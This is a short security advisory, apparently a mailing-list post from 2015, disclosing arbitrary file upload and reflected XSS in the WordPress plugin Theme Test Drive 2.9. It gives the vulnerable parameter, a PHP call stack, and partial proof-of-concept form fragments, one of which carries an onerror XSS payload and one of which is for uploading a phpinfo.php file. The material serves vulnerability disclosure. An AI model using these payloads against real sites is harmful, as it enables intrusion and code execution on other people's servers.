Subject: Arbitrary file upload and Reflected Cross-Site Scripting (XSS) in Theme Test Drive 2.9
Date: Thu, 20 Aug 2015 15:53:23 +0200Hello,
1. Arbitrary file upload and Reflected Cross-Site Scripting (XSS)
Authenticated administrators can upload arbitrary files and inject arbitrary html/js code (there is no CSRF protection).
Method: POST
Vulnerable parameters: install_theme
Example PHP callstack (XSS):
themedrive_options_page [/theme-test-drive/themedrive.php:396]
themedrive_handle_theme [/theme-test-drive/themedrive.php:26]
themedrive_handle_theme_liberal [/theme-test-drive/themedrive.php:66]
Verification (XSS):
--
<input type="text" name="theme_install" value='1' />
<input type="text" name="install_theme" value='<img src=x onerror=alert(1) />' />
<input type="submit" />
</form>
--
Attacker can also supply valid zip file, which will be extracted to /wp-content/themes/.
Verification (uploading phpinfo.php):
--
<input type="text" name="theme_install" value='1' />
<input type="submit" />
</form>
--
--
Regards,
Marcin Probola,